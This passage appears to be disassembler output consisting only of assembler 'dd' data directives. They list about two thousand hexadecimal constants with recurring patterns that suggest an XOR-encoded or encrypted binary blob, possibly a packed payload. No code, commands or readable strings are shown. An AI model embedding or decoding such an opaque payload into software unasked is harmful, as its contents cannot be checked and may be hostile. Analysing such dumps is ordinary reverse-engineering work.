		dd 0E7664432h, 0A9DC5893h, 5AC1126Eh, 1572023Dh, 1A8F4432h
		dd 3F662232h, 9E20ADD6h, 1CA3F537h, 0B107EBF2h,	0FC07D838h
		dd 1566113Fh, 31A65071h, 98E71F3Ah, 676D769Dh, 0F0E3D74Dh
		dd 56609811h, 3F0EBDC7h, 0FCB4F7C2h, 1566113Eh,	9A9AEAB2h
		dd 8DFD26ABh, 0F0D991A2h, 1FFA4CDh, 78F8E22h, 2B664432h
		dd 5AA42A27h, 5AE6AB44h, 1E2B4576h, 7DBD587h, 27E3AF24h
		dd 0FC600108h, 15668826h, 27C24DB3h, 7228A759h,	96E04E7Ah
		dd 4C893134h, 8C2D269Bh, 68FF2CDh, 9C661132h, 183142A7h
		dd 825766B6h, 92C21E11h, 0F9E435F0h, 90EF3103h,	1371E1E0h
		dd 0DCAEA352h, 0FD52B36Ah, 15668839h, 0C2FBFF43h, 0E541B776h
		dd 7374491Ch, 743E70B9h, 3683C1F4h, 75342422h, 1C84E0B3h
		dd 9C698AE3h, 15664436h, 0DAF19954h, 0A18C7953h, 0EA9F7570h
		dd 572DD87h, 1561CB34h,	0A8331132h, 967E2EBCh, 27E3C9C2h
		dd 1A603208h, 15661DB3h, 13EF8732h, 1A664432h, 156622B1h
		dd 0EDB6EE32h, 7CE301CEh, 1A60543Fh, 156631BEh,	1568F832h
		dd 7D5E8832h, 4D594A40h, 6AFEA2BFh, 2F8ED6A9h, 1570083Dh
		dd 9E694432h, 15662222h, 15661ADBh, 0ABF42432h,	0D61DE271h
		dd 632EAAF0h, 368394F4h, 75218E22h, 0FC06ABB8h,	1566223Ah
		dd 57C0796Eh, 58005ACDh, 9E86C554h, 7D074399h, 0F7FE48ABh
		dd 15670E3Dh, 0EA9E4432h, 572BB87h, 90EBE434h, 1376B200h
		dd 1567CC3Dh, 1A932232h, 156616BAh, 14E48732h, 0ED664432h
		dd 128FF2CDh, 9661132h,	0EBE73283h, 90EF0A1Dh, 137187E4h
		dd 0B0859052h, 7469C7E0h, 13EA4B52h, 94662232h,	0D92978D2h
		dd 48FE800h, 0EB664432h, 7399D4BEh, 4AA1C9E2h, 0B9C99D3Dh
		dd 7865C6F7h, 15662BDAh, 9FDF6A32h, 5352983Eh, 743ED181h
		dd 0F0E3E453h, 52600111h, 75A4E0CEh, 0ED06F5CFh, 4290A354h
		dd 0A0997016h, 13769CABh, 157CCD3Dh, 75062232h,	1576F953h
		dd 94B98832h, 0BF276D1Bh, 0D8C74D9Ah, 0D0CB91DAh, 74385C4Bh
		dd 2F54C1BFh, 94062422h, 0CB6211D3h, 156F6141h,	79434432h
		dd 1218A5A2h, 74F28A6Ch, 936958CDh, 1566443Eh, 1560A53Dh
		dd 92691132h, 15668832h, 0B0BCC1BBh, 1F8F2425h,	0F3661132h
		dd 0C731910Eh, 0C2B4F27Ch, 0F0E3E441h, 52600111h, 0EB72E0CAh
		dd 9F699B94h, 15662233h, 8CD3EECAh, 0FC609826h,	15664434h
		dd 81EB0691h, 90EB6BBAh, 1376B200h, 156EC53Dh, 96692232h
		dd 15661130h, 0C599E952h, 90EFB8CAh, 137187ECh,	156600DBh
		dd 0CB045232h, 0B99C26ECh, 37949554h, 0B08B492Dh, 90A0775Fh
		dd 137667D7h, 0D7E7426Dh, 57DB8B7Ch, 749C373Dh,	45942C5Ah
		dd 7306D7ACh, 0FC4B8D8Bh, 15668835h, 1DB8C0CBh,	74A7C677h
		dd 1FFA4CDh, 9E698E22h,	15664439h, 0FBA5A352h, 7330879Bh
		dd 98077BB9h, 55C76B7h,	78FDB34h, 0C6661132h, 95386264h
		dd 0F0922F31h, 747EC664h, 57BA40Dh, 75B6776Dh, 9400B4B8h
		dd 74B947DDh, 0B08494BBh, 9A698E25h, 15664433h,	0CEE2DCEh
		dd 0FC661132h, 15668826h, 9AEDA42Bh, 0FA24948Ch, 0FE483DAh
		dd 741F5040h, 648C8F7Ch, 3683A7F4h, 0FC291722h,	15668823h
		dd 538A0DACh, 0B9F5B909h, 0BE7441DBh, 2B6DE8F0h, 6E592C79h
		dd 0EA9AE5CEh, 5728887h, 156D6134h, 0B23D4432h,	54C90265h
		dd 46CF29C2h, 27E305EFh, 0EC605408h, 75B6DDCBh,	156618DAh
		dd 9B63CA32h, 4335ACCh,	74068E21h, 3E51E69h, 0FC668832h
		dd 15664423h, 1CBD7380h, 9F6AD53Ch, 90F9A6B3h, 5EE7B538h
		dd 90EF43C4h, 1371B73Ch
		dd 1561073Dh, 9D694432h, 15662233h, 0F0E3D7CEh,	52609811h
		dd 156EC53Dh, 95062232h, 0F6E6E5F5h, 590EE94Fh,	759C1F5Ch
		dd 15662ADBh, 0B0A95832h, 0F0E70B45h, 14EE4B63h, 0E9662232h
		dd 8CD3EE53h, 0FC609826h, 1566443Dh, 0F917D368h, 0A479403Ch
		dd 0BFD72409h, 9889DE4Ah, 55C10B7h, 0C599E934h,	156683DBh
		dd 2CDE932h, 0AB5A62Eh,	159F17F1h, 0B3740DBBh, 9B694225h
		dd 15662223h, 15661DDBh, 76842032h, 4D853244h, 62D2BC83h
		dd 0F0E3D74Ah, 52609811h, 0F3E72252h, 976969B4h, 15661130h
		dd 0FC074EB9h, 15664435h, 0A7D43DCEh, 7DB748F5h, 0D660ACFFh
		dd 15664DDBh, 0D5103732h, 3912A20h, 90690C6Dh, 15664436h
		dd 74B5A852h, 1FFA4CDh,	1A938E22h, 156643B2h, 14ED2D32h
		dd 0E0661132h, 2F540DBFh, 99694222h, 1566223Eh,	86DF7752h
		dd 0F0AC091Eh, 741B74AFh, 9C93F2CDh, 2C007B7h, 19E98734h
		dd 75664432h, 66D0228Dh, 99E3A84Bh, 0D3078824h,	545A1B7h
		dd 99697D34h, 15661135h, 15670D3Dh, 7D9E4432h, 0C1DD42FEh
		dd 1575F852h, 0B59E8832h, 82F4233Ah, 33CA98B8h,	186C781Ah
		dd 1BB6C44Bh, 0AF06259Fh, 2AF57212h, 74B8AE3Dh,	1FF3DCDh
		dd 0EC064222h, 15E12D61h, 4E661132h, 1DEA8753h,	1A664432h
		dd 156620B8h, 98077132h, 55CBAB7h, 156FAD34h, 93DD2232h
		dd 8F5056E5h, 0EA658ECFh, 1561ADE2h, 2EA52232h,	61EB9554h
		dd 0F3E30176h, 0ED605397h, 3683A7F4h, 0E0391722h, 0FC32C65Ah
		dd 9669B1ACh, 1566223Ah, 1564983Dh, 74068832h, 1FFF1CDh
		dd 44062422h, 15669E3Dh, 733C8832h, 980782B9h, 55C10B7h
		dd 0AB007134h, 0EA077B06h, 936924E2h, 15662232h, 6BBC4389h
		dd 90EFE964h, 1371E1D8h, 90A0D7CEh, 137632D7h, 198FE86Dh
		dd 4D664432h, 0BD2F50D7h, 5116CEB6h, 1A1A77FEh,	156647B5h
		dd 0C3D92D32h, 3D2E7953h, 0EA935921h, 572DD87h,	9E004234h
		dd 90EB70C8h, 1376B200h, 156657DBh, 0A14E0932h,	727AF9DBh
		dd 174B0184h, 0E6AEF6BFh, 10B7907Eh, 9F69C1CDh,	1566883Dh
		dd 15664EDBh, 3F9CBA32h, 33637B16h, 9CADEFE5h, 2C3AAB7h
		dd 156ACB34h, 54C61132h, 0BFD21B71h, 58B2939Fh,	110CB21Eh
		dd 0EA89052h, 9E292F6Bh, 420625F1h, 1566A63Dh, 0FC3E1132h
		dd 1566883Eh, 30817EDFh, 3230441Fh, 9B3951C9h, 566E053h
		dd 188F4432h, 0D5662232h, 0F2695086h, 0E1E04E52h, 12806A24h
		dd 156EAB3Dh, 73061132h, 7505A48Bh, 150E2553h, 0ED662222h
		dd 0EA931158h, 57AEDA7h, 75362434h, 1F8E7A53h, 35661132h
		dd 0BA32BB1Fh, 8C77FF07h, 156BCBBEh, 69B21132h,	9701B07Ch
		dd 0F389A46Fh, 4F7FB144h, 12ED1E53h, 1A668832h,	156645BDh
		dd 90EFDB32h, 1376219Bh, 157E0A3Dh, 68F4432h, 36662232h
		dd 0D543A147h, 0F1A61099h, 97BB69E0h, 0F9252E19h, 90EB8452h
		dd 1371D6F0h, 0D6ED2252h, 0EA072281h, 1576F8E2h, 0A9348832h
		dd 0ED891606h, 0A5247369h, 9485849Ah, 110CDB77h, 5662CC7h
		dd 9F692232h, 15661124h, 156699DBh, 1478D632h, 0DE24981Ah
		dd 0FAF6F5BCh, 46A9CF24h, 150EEED9h, 0EC662212h, 95691158h
		dd 1566882Bh, 156650DBh, 69ABAF32h, 79A90B83h, 0DFBCECB0h
		dd 0EB2E44B4h, 470B1422h, 70F3EE7Ch, 0ED60982Eh, 1F43C1BBh
		dd 1A8F2422h, 0CD661132h, 462AAA33h, 0E670C724h, 684E2870h
		dd 90EF9EF8h, 137683A7h, 0E0262ECBh, 1576225Ah,	1575F832h
		dd 0ACDE8832h, 0CB4D20ABh, 0A513297h, 4596B835h, 191DA101h
		dd 15662C81h, 1A062233h, 156613B9h, 1A3FD832h, 156647BCh
		dd 1B8A232h, 0EC667B53h, 9031DCDh, 0FD064222h, 1566223Eh
		dd 3494B5FBh, 0DEBBA49Ah, 0BC02A361h, 8DA8A354h, 0F3E7484Ah
		dd 4824672Eh, 6CE3CD53h, 0FC603220h, 1566113Ch,	0B2D615Bh
		dd 9BF5F9AAh, 259045EEh, 0A0EDDCB8h, 1376A7F7h,	156CAD52h
		dd 82632232h, 0ACAA0FE5h, 2EC82CB7h, 156DAC62h,	37CA2232h
		dd 0A455697Bh, 390FEAD5h, 743F1B9Eh, 14FBA9CAh,	1A60011Dh
		dd 156689BDh, 0A0EFB832h, 13762D23h, 15661FDBh,	84AAFE32h
		dd 0CEAE6EC4h, 4360F404h, 9C3C85B5h, 57651AFh, 19E94B34h
		dd 1A662232h, 156617B8h, 15EE8732h, 9E664432h, 54923AFh
		dd 14E91E34h, 0E0668832h, 21E777CDh, 96362B16h,	316A9A36h
		dd 15624CB3h, 0E4E74432h, 11E5723Bh, 1561963Dh,	95698832h
		dd 15664433h, 159FA1CAh, 2C56953Dh, 45068832h, 733F1E60h
		dd 7D07E0B9h, 15667C75h, 1A428CBBh, 156647B5h, 749E4232h
		dd 1561705Ah, 316A0132h, 156641DBh, 302DEC32h, 7506713Bh
		dd 0D66357B3h, 0D2E73A0Ch, 6BC01014h, 1AA62053h, 156680B3h
		dd 0AF002432h, 25D06CEEh, 60E39853h, 0E9609826h, 18632C61h
		dd 9ED4ED9h, 11A29016h,	5E668832h, 0DC8DC571h, 9C0AC93Eh
		dd 94694AECh, 1566883Bh, 0DBE72252h, 2ED2A582h,	0A833E953h
		dd 4D62870Ch, 719981B3h, 0FB4F0591h, 3112126Fh,	28A00912h
		dd 1A19E346h, 15662EB6h, 13E81E32h, 1A668832h, 156644B2h
		dd 94374232h, 29E769E1h, 7307D349h, 1DE94B9Fh, 1A662232h
		dd 156613B6h, 3807E832h, 1FB908F1h, 6B6D7F1Fh, 31221211h
		dd 1E3B8D12h, 0D663674Ch, 756CFD7Eh, 0AC19F1B3h, 9769B3A2h
		dd 15664434h, 0AE6EECB3h, 0EA076754h, 21E7F042h, 0BE4DAF16h
		dd 0AA317C64h, 43CD3AD9h, 0E9397603h, 676A82B3h, 0FBE70D57h
		dd 21E76C39h, 3542FC31h, 686D82B3h, 0FBE716B3h,	3A03633Eh
		dd 156682DBh, 9871E632h, 0CD3C69C7h, 45AB3063h,	1566908Ah
		dd 9E964532h, 3162A90Ah, 1562D5B3h, 18F8832h, 0DC664432h
		dd 0BE6BFECEh, 46364105h, 23A2E0A8h, 6F4CFC5Bh,	9C8070C7h
		dd 574C08Fh, 14E88734h,	0E0664432h, 9069DDB7h, 1566110Fh
		dd 156682DBh, 0DE266332h, 3F74E26h, 0FC1EE133h,	1566883Ch
		dd 1F667CD3h, 305D3ADCh, 0A14B420Bh, 0E78ECDEEh, 0EC66446Ch
		dd 1562C8DBh, 99697132h, 15668830h, 0DBE71D60h,	6E8DD6B9h
		dd 0F4EF4053h, 156249B3h, 0FCE54432h, 316AA536h, 316A986Eh
		dd 74BC0852h, 1ED1353h,	11A2A116h, 15619C3Dh, 9F068832h
		dd 0D4D14BC3h, 11B44953h, 1561973Dh, 91698832h,	15664433h
		dd 1563CBC7h, 0C8E91132h, 9C9D018Eh, 54B11A7h, 0FDEC4234h
		dd 110C70CAh, 15670A3Dh, 75934432h, 1AB9A952h, 7307DF85h
		dd 1C1D41B3h, 5662C53h,	0FD062232h, 1566113Dh, 0E98C74FDh
		dd 295D65C5h, 4AD7592Eh, 73A0FDFBh, 9F9E53B3h, 74B6CF6Bh
		dd 1504095Ah, 31729832h, 15669BDBh, 8F440B32h, 2DE99773h
		dd 4487411Ch, 50CC349Ah, 4B7652FCh, 1A062258h, 15661EB1h
		dd 156F6032h, 0FAF64432h, 46A96524h, 4DDCBBD9h,	6E78753h
		dd 0FC664432h, 1566223Ch, 0A37FEC0Dh, 6DA1A309h, 76062EA3h
		dd 8099945Eh, 13760D57h, 156680DBh, 0BB89BC32h,	2B32D63Eh
		dd 50E398ECh, 0FC609801h, 1566443Fh, 413FC2A5h,	26EE023Fh
		dd 93E855F3h, 118AC73Eh, 9C423EBBh, 4EBC98F1h, 7406DB52h
		dd 156CAD6Bh, 50672232h, 17635FE1h, 621D62C7h, 316ACF53h
		dd 9480AB64h, 156615F4h, 11A00B32h, 494270B5h, 156631DBh
		dd 81B07532h, 19F1DC29h, 37196DBDh, 5D9B1E18h, 0F7038A67h
		dd 153B0CDAh, 0E30EB132h, 9C662200h, 0B89A3506h, 0DBEDEE52h
		dd 2A6A4153h, 5165202Fh, 0AC373516h, 54DE2C8h, 4F2A5B3h
		dd 0D4E77A39h, 4ADD54E6h
		dd 94BF7F73h, 3311D9FBh, 78A7A348h, 3C61CC0Dh, 0AD06D1FAh
		dd 50AE5DC4h, 7494A954h, 249E20CBh, 1A9EB9F5h, 156645B2h
		dd 9C36D732h, 9EA598CAh, 0D1E7AC36h, 15664436h,	1573A93Dh
		dd 58F1132h, 0C9668832h, 517B0580h, 0A03448A9h,	0E532B760h
		dd 7DF85B67h, 156609D0h, 0FC421EBBh, 15661137h,	0F1287835h
		dd 0E9A67462h, 0E8138CC7h, 156617DBh, 0F9041832h, 0FC7BA023h
		dd 15662239h, 0AAFF7385h, 4993AC79h, 9E216638h,	9C330606h
		dd 11A390D7h, 94668832h, 156640F7h, 314AA532h, 51D9716Eh
		dd 4533EA36h, 94071CCAh, 352817F5h, 7E89901Dh, 3C748432h
		dd 7EA1C5EDh, 94742E32h, 352824DDh, 9C357D1Dh, 11A5C5D1h
		dd 96662232h, 9E115D9h,	1EFD416h, 2E04B16h, 1A662232h
		dd 156600B8h, 156A6132h, 0E8B24432h, 33A55D22h,	366EED07h
		dd 91694F0Dh, 15664420h, 15662FDBh, 0C1975632h,	0C7DC9045h
		dd 9C75D861h, 0F9E75192h, 15661136h, 4F42B4BBh,	156CC23Dh
		dd 94062232h, 0B60345C3h, 74BF0323h, 25CFF9B9h,	1E8F2422h
		dd 0D7661132h, 0DB0DC51Fh, 7A42B16Eh, 0EADF80DFh, 0E999EECDh
		dd 188F4803h, 15664432h, 2671CA28h, 0A64D36F4h,	0CBD3BEDAh
		dd 15DF1561h, 9C662232h, 0E66748F9h, 1A3D8BB8h,	15664EB0h
		dd 1563CB32h, 27641132h, 25CBE07Bh, 14E34BFAh, 0E9662232h
		dd 0EA99AE65h, 0EB4F77CDh, 2199B86Dh, 3162A9B5h, 1562D5B3h
		dd 0D49E8832h, 24934CDBh, 1563CBF3h, 0C4D21132h, 5FC3FF85h
		dd 0EAF0C13Dh, 0AD06DDCDh, 76A82F07h, 74AF3F3Dh, 9C62A8B1h
		dd 0ED3E063Eh, 0E28C96A0h, 878C0FE7h, 11EE4B52h, 73662232h
		dd 1A1A888Bh, 15668DB3h, 0FFE72232h, 0EA07B955h, 963C3506h
		dd 459E8CF6h, 464240B3h, 9A2BE64Ah, 0B5D84730h,	5341D52Ch
		dd 63E68AB3h, 0F3E73795h, 7C324519h, 0FBE756C5h, 858177BEh
		dd 1A38101Bh, 15661DB5h, 13ED8732h, 1A664432h, 156622B5h
		dd 11DE4132h, 94668832h, 0C76D53F0h, 94A4232Eh,	0C76D06D8h
		dd 469ED02Eh, 0D6E7A7BBh, 15662236h, 1562FAB3h,	9E18832h
		dd 1EF1816h, 9099DE16h,	13760547h, 15670A3Dh, 9E9E4432h
		dd 57257A7h, 7EF1E34h, 0FC668832h, 1566443Fh, 0B58DB369h
		dd 1148B537h, 4DEEBAE9h, 0C4F37D6Eh, 1A603220h,	156690B6h
		dd 9400E832h, 1AC220EAh, 156627B1h, 0C6E77732h,	0EA07F471h
		dd 963C6006h, 9E9E26F6h, 9C343506h, 11A409D0h, 96664432h
		dd 1E126F0h, 1A064D16h,	15668EB0h, 15E44B32h, 1A662232h
		dd 7D07E685h, 1566BAC0h, 0AF4250BBh, 15662236h,	0FC3CC733h
		dd 15668820h, 0CA2AAAC4h, 87F2FDBAh, 0FC703A4h,	0F704BEEDh
		dd 0AD066897h, 786DB473h, 7419E2B2h, 0EA9A69DBh, 156EADCDh
		dd 0BF302232h, 6FFE84D5h, 1EDEF49h, 0F7EF1616h,	1562E0B3h
		dd 0D7E51132h, 31720F36h, 0EBEC246Eh, 156629DBh, 8D945432h
		dd 0F3A53753h, 4594C9F0h, 3152DD53h, 11A2926Ch,	156699DBh
		dd 0DFDF7F32h, 0F11D2311h, 53CF149Dh, 0E8CD2BACh, 91696A1Fh
		dd 15662239h, 156617DBh, 1189A632h, 7459C4F8h, 1569A43Dh
		dd 1F8F1132h, 0BE668832h, 0E8C1D5EDh, 0DAED8243h, 14E81E65h
		dd 0ED668832h, 444248B9h, 0D4E7C3BBh, 15661136h, 156249B3h
		dd 19E14432h, 90697E16h, 15661135h, 15670E3Dh, 759F4432h
		dd 62BC6D8Bh, 10E11E5Dh, 0AC668832h, 6F52897Ah,	3162A953h
		dd 94839867h, 15668CF7h, 11A3C732h, 49420EB5h, 156616DBh
		dd 7030CC32h, 5FE39BCDh, 3F7BA7F5h, 15661722h, 1B8F8832h
		dd 0A2664432h, 71BE75DDh, 559B154Ah, 5E39EB73h,	0B8E38336h
		dd 15603226h, 0ED661132h, 0B03035B1h, 1A664225h, 15661AB6h
		dd 88EBE432h, 1370390Fh, 1572C63Dh, 1A8F2232h, 0B2661132h
		dd 0CF4DF8FEh, 0ED670A45h, 659167DFh, 0C699859Eh, 156698DBh
		dd 0FE6D9F32h, 0DA373C10h, 9D32AF0Fh, 96802A88h, 60E3BB94h
		dd 1A603215h, 156619B4h, 9A69E832h, 15664432h, 60DBA153h
		dd 71600115h, 17AF0A3Dh, 45064432h, 1A3D7861h, 0D207D885h
		dd 541FDB7h, 15664534h,	0FE72D32h, 1A661132h, 15669CB0h
		dd 1569AD32h, 0CA912232h, 0F716BCBFh, 2DFE3B69h, 276C88B3h
		dd 1B8F4273h, 0E9661132h, 0C0186D7Eh, 11DE37B0h, 0DE0E058Fh
		dd 0E1E39CCEh, 75609F4Ch, 156654DBh, 0DD380032h, 0FA65F53Dh
		dd 0C316E971h, 450D8BAh, 0C59943BCh, 4F3771C7h,	33D30553h
		dd 0E9605394h, 1572A43Dh, 9B691132h, 1566883Ch,	15664DDBh
		dd 0D8B4E632h, 0B581DE29h, 0A8EB49D3h, 137E7469h, 47DE72C7h
		dd 147EA604h, 0E24FD0F5h, 2334ABB3h, 1F8F3A85h,	37661132h
		dd 6FAECBFAh, 0B0F26C39h, 5E94A1Ch, 9EF1132h, 9C9D0116h
		dd 9E9F1FE8h, 5568B8Fh,	0EBED7134h, 156698DBh, 84251B32h
		dd 813199B1h, 5DCB8458h, 0EC673957h, 0EADF25CBh, 7599DDCDh
		dd 0BDD5A954h, 743E7D60h, 0FCA675CBh, 1566223Ch, 377D8B0Eh
		dd 40CF9A5Ch, 99E9EF0h,	45375D65h, 0FF4E9A5Ah, 4D6BD04Ah
		dd 0C407864Ah, 43D32FD2h, 5C637084h, 9C6A813Ah,	0E4671CF3h
		dd 1A3F23B8h, 156616B5h, 14E88732h, 0E0664432h,	9969EA02h
		dd 1566113Ch, 156681DBh, 2B364132h, 85BE5110h, 47305741h
		dd 9224D26Ch, 0FD9F24E4h, 15662226h, 0CD950542h, 0BA30822h
		dd 0FA79CBE0h, 7B551DDDh, 9A862CC3h, 74394481h,	4DE170CDh
		dd 156DCA52h, 74AA1132h, 0E75F0A59h, 39DC4E56h,	749A78E5h
		dd 756EF8F3h, 5063A58Dh, 45DE2218h, 0D4574323h,	90695BCEh
		dd 0EA997763h, 156656DBh, 0FB2A4D32h, 5BB343F8h, 82174285h
		dd 1BF39151h, 7D26AFAAh, 15660DF7h, 4D4284BBh, 156654DBh
		dd 66A94532h, 762DAD65h, 54936B5Bh, 0C572ABCCh,	19172B4h
		dd 31629A16h, 0FC624CB1h, 15664423h, 0FD908D4Dh, 0D9891B1h
		dd 35A46359h, 18D7FD52h, 70E31B1Ch, 1A600111h, 156638B6h
		dd 1575AD32h, 6E1D2232h, 0BE3886B4h, 0C70B15Ch,	0F82A40ABh
		dd 3EB4C0C3h, 15D8474Eh, 9C668832h, 3152CFC2h, 1562E6B3h
		dd 9F691132h, 15668833h, 1AA64FCAh, 15661FB7h, 94007132h
		dd 0FD881BD5h, 1566443Ch, 478E8D23h, 0A05B7589h, 1C36CEA1h
		dd 9E002DD7h, 0D2077DC9h, 56084B7h, 15668934h, 1576AD32h
		dd 46FD2232h, 369D7905h, 7E37F72h, 0F31989BCh, 473336B4h
		dd 6D0DC888h, 4FB3012Ah, 0F88781B3h, 0FC67C58Ah, 9669716Fh
		dd 15668834h, 0CCF79FB3h, 48E4C67h, 89661132h, 0F58F94D8h
		dd 0E78C9689h, 5A29B305h, 0B4192AFh, 4A980354h,	18F2553h
		dd 0B6662232h, 0C42109A8h, 2A925D72h, 631AD89Ch, 0A35C306Bh
		dd 46C4CED4h, 6BBF7A89h, 21E71772h, 0C17ACE16h,	0E4E7484Fh
		dd 68B294DEh, 1576AD69h, 0A6672232h, 0B2E17E6Ch, 153C6F1h
		dd 1DC414h, 0AE353DB1h,	229008A1h, 0C6915BC5h, 0E260AFF3h
		dd 87DB77E1h, 0D44EF07Ah, 0D8E780D7h, 74C91DD0h, 0F0A7FFC5h
		dd 0A8A3903Ah, 3C3159C0h, 0FEE719D9h, 69E1C3D3h, 0E03DCBBBh
		dd 156682DBh, 0C9BDBA32h, 0B736FB10h, 0B8750D66h, 15710C3Dh
		dd 73064432h, 0FDC8838Ah, 15661139h, 3E71D866h,	9FA32031h
		dd 4C653672h, 4D39853h,	1A60983Dh, 156657B2h, 1568CB32h
		dd 35301132h, 0B5A5E986h, 9CA9B9DFh, 6DD11E36h,	20DE4167h
		dd 20704713h, 27DC57C1h, 943EE7BBh, 0EC4E29F7h,	0C4830964h
		dd 0D4059A2Eh, 0F8A726DFh, 0FF8B9034h, 94007746h, 0C38D8C7h
		dd 0E908ABABh, 9E00716Fh
		dd 0FB5BE9CCh, 1A88AADCh, 156682B7h, 12E51E32h,	1A668832h
		dd 156645B0h, 2BE7DB32h, 0C8BBCCEFh, 15E10D3Dh,	40934432h
		dd 0F0381F8Fh, 0D660D63Dh, 44969293h, 1566448Bh, 14972332h
		dd 0E93B481Bh, 15623361h, 0D3E74432h, 2E7B4220h, 0FBE7CF33h
		dd 2E7BE820h, 6E94B69h,	0FC662232h, 1566113Ch, 66DA173Dh
		dd 87F73400h, 9BC43023h, 0A0EFB4EFh, 13768723h,	156CC13Dh
		dd 9E062232h, 15EF1EE4h, 74668832h, 154A16DBh, 1FEC2D32h
		dd 75661132h, 15660A3Dh, 68D54432h, 0EBE7CB53h,	1F8FEECDh
		dd 7B668832h, 0E9A42B01h, 7E69375Dh, 118A90B2h,	9C668832h
		dd 0FC3D6036h, 1566223Ah, 0DC0FC8BFh, 0BAF79F34h, 13F3C101h
		dd 0D49F2422h, 0E00612FAh, 74A6373Dh, 51572B1Fh, 42B60B59h
		dd 51577E8Dh, 4A9E8959h, 156649DBh, 0BBD5F332h,	6FC8243Ah
		dd 7D770083h, 0D5A7F837h, 0CBED4222h, 0DD5770CAh, 156682DBh
		dd 86205032h, 1F89F69Bh, 9C3B54E1h, 5601DAFh, 155BB134h
		dd 1A662332h, 1567C3B1h, 0C6E7E832h, 41013D1h, 9407F2B9h
		dd 0AEDDAA0Ch, 0A9E38789h, 0E0664433h, 15662FDBh, 416B3632h
		dd 0C3589423h, 0D120FB8Ch, 0AF3419B6h, 15661132h, 7D377A33h
		dd 5469Ah, 14AFA36Bh, 9474916Ah, 0F63C21DBh, 4C6CCD25h
		dd 1EED2D68h, 0FC661132h, 15668834h, 79052458h,	0A8335284h
		dd 15661136h, 41DC4EB3h, 0FB675A7Fh, 41DCCCB3h,	0ED3B0F7Fh
		dd 1A773DBBh, 1A064222h, 9400EC85h, 7470F5C1h, 0CBD98752h
		dd 9E07AFB8h, 54923AFh,	2699E834h, 5B42A4B3h, 4C05E91Ch
		dd 3B289D65h, 0EC67729Fh, 739AE86Dh, 527EB2B3h,	130EDA53h
		dd 9C661120h, 11E7AC36h, 63612716h, 0FFE77868h,	4F101651h
		dd 46D7E852h, 15664DDBh, 0FACFDE32h, 4755927Bh,	740758F6h
		dd 9434B152h, 276C061Eh, 11ED23CBh, 11A20B16h, 0EC544E37h
		dd 0AF004200h, 0D2EDBE81h, 0F8E3A353h, 0FC605413h, 15662223h
		dd 582FC03Ch, 215D51FDh, 37A25071h, 751F0BC3h, 1786D02Ah
		dd 60E38BCAh, 0FC605436h, 15662238h, 0EC2D13B9h, 38186561h
		dd 3D0E3443h, 9C662260h, 4D303536h, 1FE0876Ch, 75664432h
		dd 92697963h, 15661132h, 0FC062553h, 1566443Eh,	0ABCFCFE6h
		dd 7625C01Ah, 0DB5E2713h, 15664BDBh, 0F286C32h,	4B029784h
		dd 0BFA024E8h, 703B7D05h, 0AB30DE53h, 0CF23039h, 5B6466F3h
		dd 1488C57Ch, 0D44FFC24h, 0D3E719D4h, 68027E0Dh, 1438B433h
		dd 20590FFAh, 0AC061565h, 7491B7E6h, 3122CD53h,	1569CB2Eh
		dd 7A6F1132h, 0D46053CAh, 1DA40708h, 0ED036B8Bh, 1A067023h
		dd 9E694885h, 15664434h, 1566A73Dh, 0FC071132h,	15668B11h
		dd 15664EDBh, 5AB9CB32h, 0DA0ABB9Fh, 47DC249Ch,	0D7E7A6BBh
		dd 15662236h, 1562FBB3h, 1E18832h, 19EF1816h, 14EF2D16h
		dd 0E0661132h, 94830167h, 156640F7h, 118BA332h,	92661132h
		dd 9C3AAC1Eh, 1F8F6026h, 0FC662232h, 0FC76067Dh, 8203366Eh
		dd 1AAF7505h, 156623B3h, 80EDE432h, 1376BB77h, 1568CF3Dh
		dd 1C8F2232h, 8D661132h, 2C79C1F1h, 2883E107h, 43DF4452h
		dd 2ADF77B5h, 175DE942h, 15BEC03Dh, 73062232h, 0B766DEB3h
		dd 11D9DF53h, 94664432h, 0E34A20F0h, 949C102Eh,	0E34A8AD8h
		dd 48F1B2Eh, 91662232h,	9484F7D1h, 558CD064h, 0BBE8586h
		dd 0F89D507Dh, 156D9F3Dh, 138F8832h, 74664432h,	0C05F5D34h
		dd 14D847D1h, 14668832h, 2E9A1AC3h, 574F3BFh, 8AE31E34h
		dd 0FC9977CDh, 15664439h, 8D0F7492h, 7A6D9E2Ch,	46F2B658h
		dd 0C03E6789h, 12A5A37Ch, 943AA562h, 0FE62C9C1h, 6C95C502h
		dd 945D925Fh, 0C7A703D9h, 9EBE0192h, 0D1E5602Eh, 9E694236h
		dd 15661122h, 156683DBh, 6B30BB32h, 0B9C4DA72h,	53D17BDCh
		dd 1567003Dh, 74934432h, 15662DDBh, 3CECA32h, 0A61C2888h
		dd 0A1344BBh, 0C6D35F87h, 5BE39CBFh, 0EA9A8E22h, 12ED4BD3h
		dd 75662232h, 0A269C585h, 98EFE9F8h, 13765047h,	3152DDCBh
		dd 11A29268h, 156686DBh, 46CA5932h, 280996C4h, 0E81DF9ACh
		dd 9E43D7CFh, 9C34603Eh, 11A4A3D0h, 96661132h, 1E18CF0h
		dd 42931816h, 0D2E7C5BBh, 15661136h, 926267B1h,	9C3A600Eh
		dd 9E9F0606h, 54910AFh,	14E98734h, 0EC664432h, 1571A13Dh
		dd 78F1132h, 60668832h,	0EC43BFD8h, 9E1E5397h, 9F2DD435h
		dd 40B1FC24h, 15DC1652h, 14662232h, 9E6C9AE8h, 0D1E5AC26h
		dd 14E74B36h, 0E9662232h, 11394B9h, 9C698E22h, 1566443Dh
		dd 156628DBh, 50E96932h, 87A28C63h, 0C474B7D4h,	0AC0042D2h
		dd 0CADC6F23h, 74795DE3h, 3F13C131h, 249E2422h,	14E01EC4h
		dd 0E9668832h, 1573CF3Dh, 58F2232h, 71661132h, 1F6E65FFh
		dd 0ED68F154h, 585F6542h, 2406500Dh, 24A0B9C2h,	9C6924C2h
		dd 15662236h, 0EAC1AB54h, 75CBEE53h, 0DC27FE54h, 156633DAh
		dd 66BC4E32h, 9CB18042h, 9331694Eh, 5DE6FF79h, 108E534Ch
		dd 4668832h, 41EDA3F2h,	0E0077C6Ch, 1A64F1F3h, 15668FB9h
		dd 14ED4B32h, 0E0662232h, 11139431h, 58F8E22h, 91664432h
		dd 3097C432h, 3B228B05h, 0BD85CE56h, 24341C5Ch,	24A013C2h
		dd 78F71C2h, 0F668832h,	20C34131h, 95CADE8Bh, 0C892B273h
		dd 0D348BE31h, 58F1406h, 25662232h, 781B8CABh, 0E8B24F35h
		dd 33A53B22h, 4B6EDE07h, 109ABC53h, 291EA526h, 0AB308C33h
		dd 49163338h, 0FBA75F74h, 0EAA80930h, 94579F03h, 8D9137F4h
